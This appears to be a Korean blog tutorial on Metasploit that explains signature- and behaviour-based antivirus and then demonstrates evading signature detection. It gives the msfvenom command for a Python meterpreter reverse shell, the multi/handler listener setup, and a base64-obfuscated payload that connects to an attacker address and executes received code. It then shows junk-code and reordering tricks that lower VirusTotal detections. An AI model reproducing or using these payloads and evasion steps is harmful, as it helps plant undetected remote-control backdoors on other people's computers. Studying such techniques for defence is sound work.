[메타스플로잇] 서명기반 백신 우회 악성코드 실습

1. 서명(Signature) 기반 백신

서명 기반 백신은 악성코드의 고유한 패턴(서명)을 데이터베이스에 저장하고, 파일을 분석해 이 패턴과 일치하는지 여부를 확인하여 악성코드를 탐지한다. 서명의 종류로는 바이너리 코드, 파일 해시값, 특정 문자열 또는 고유한 코드 시퀀스를 포함한다.

- 정탐률이 매우 높고 이미 알려진 악성코드에 대해서 높은 정확도로 탐지가 가능하다.

- 오탐률이 낮다. 서명이 명확한 기준이 되므로 일반적으로 잘못된  탐지의 가능성이 낮다.

- 속도가 빠르다. 파일 전체가 아닌 서명으로 비교하는 방식이기 때문에 효율적이고 빠른 처리가 가능하다.

- 제한점으로는 새로운 변종이나 알려지지 않은 악성코드(제로데이 공격) 탐지에 취약하다. 패킹(Packing) 또는 암호화된 악성코드의 경우 서명 패턴이 달라지기 때문에 탐지가 어렵다.

- 따라서 우회방법으로 파일을 패킹하거나 암호화하여 서명을 변조하는 방법이 있다. 파일의 크기나 코드의 일부를 수정해서 기존 데이터베이스에 저장된 정보와 일치하지 않도록 조작한다.

 

2. 행위 기반(Behavior-based) 백신

파일이 실행되는 동안의 행위를 모니터링하고, 정상적인 프로그램과 다른 의심스러운 동작(예: 파일 시스템 수정, 네트워크 설정 접근, 키로깅, 메모리 변조 등)을 탐지해서 악성코드를 식별하는 방법이다.

머신러닝이나 규칙 기반의 분석 알고리즘을 활용하기도 한다.

- 서명 기반 백신과 반대의 장단점을 가진다. 정탐률이 높으나 정상적인 프로그램도 탐지하는 경우가 있다. 하지만 변종 악성코드의 탐지가 가능하다.

- 속도는 서명 기반 백신보다 느리다. 실행 중인 프로세스를 실시간으로 분석하기 때문에 더 많은 자원이 필요하다.

- 정확도는 행위의 복잡성과 정의된 규칙에 따라 다르다. 사용자 환경에서 발생하는 특이한 동작을 악성코드로 잘못 인식할 수 있다.

- 행위 기반 백신을 우회하는 방법은 정상적인 행위를 모방하여 탐지되지 않도록 모방한다. 탐지 시점을 우회하기 위해 동작을 지연하거나 악성 행위를 특정 조건 하에서만 실행하도록 하는 방법이 있다.

 

3. 서명 기반 백신 vs 행위 기반 백신

기준 서명 기반 백신 행위 기반 백신
탐지 방법 알려진 서명(패턴)과 비교 의심스러운 실행 행위를 분석
정탐률 알려진 악성코드에 대해 높음 알려지지 않은 악성코드도 탐지 가능
오탐률 낮음 높을 가능성 있음
속도 빠름 느림(실시간 분석 필요)
제로데이 탐지 불가능 가능(행위 탐지에 의존)
우회 방법 서명변조, 암호화 정상 행위 위장, 조건부 실행

 

3. 서명 기반 백신 우회 실습

Python 페이로드를 이용하여 업데이트된 Windows 환경에서 백신(이하 Anti Virus, AV)을 우회한다. 새로운 서명을 만드는 기법으로 AV진단을 우회한다. 페이로드 생성 도구로는 칼리의 MSFVenom을 사용한다. 메타스플로잇을 실행하는 공격자 컴퓨터에서 TCP 443에서 리버스 쉘을 연결하는 악성 행위를 수행한다.

 

3.1 Kali msfvenom 이용하여 페이로드 생성

[Kali] 페이로드 생성

msfvenom -p python / meterpreter / reverse_tcp LHOST = [KALI IP주소] LPORT = 443 -f raw -o /var/www/html/mrtp.py

 

[Kali] 공격자 서버에서 아파치 서비스 시작

service apache2 start

 

[Windows] msfvenom에서 생성한 페이로드를 windows로 복사 후 Py2exe를 이용하여 exe 파일로 변환

python.exe \setup.py py2exe

생성된 mrtp.exe 확인

 

[Kali] 수신 대기 포트 설정 및 리버스쉘 연결

# msfconsole
# use exploit/multi/handler
# set PAYLOAD python/meterpreter/reverse_tcp
# set LHOST [KALI IP 주소]
# set LPORT 443
# run

 

리버스 쉘 연결 성립 및 명령 동작 확인

 

 

바이러스 토탈에서 생성한 파일(mrtp.exe) 얼마나 많은 AV 엔진에서 진단하는지 확인

8개의 엔진에서 진단하고 있음

 

3.2. 우회 코드 추가(Pointless Code)

 

코드를 추가하거나 변경을 통해 바이너리의 서명 변경, 바이너리의 기능과 동작에 영향을 끼치지 않는 무의미한 코드를 추가하는 방법을 적용한다.

[Kali] Print 구문을 추가한 후 페이로드의 끝부분에 추가한다.


exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8’)

('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguNDcuMTQzJyw0NDMpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')[0]))

 


exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8’)

('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguNDcuMTQzJyw0NDMpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkKcHJpbnQoIkhlbGxvLCBCb0IhIikKcHJpbnQoIldlbGNvbWUgdG8gQm9CISIpCgoK')[0]))

페이로드의 추가만으로 탐지 백신 수가 줄어든 것을 확인할 수 있음

 

3.3. 함수 위치 변경(Subroutine Reordering)

실습에서는 QueryPerformanceCounter() GetSystemTimeAsFileTime()의 위치를 변경

수행 기능은 동일하지만 바이너리의 바이트 위치가 변경, 바이트 위치의 변경은 바이너리 해시 값의 변경을 의미함

탐지 수가 7개로 줄어든 것을 확인함

반응형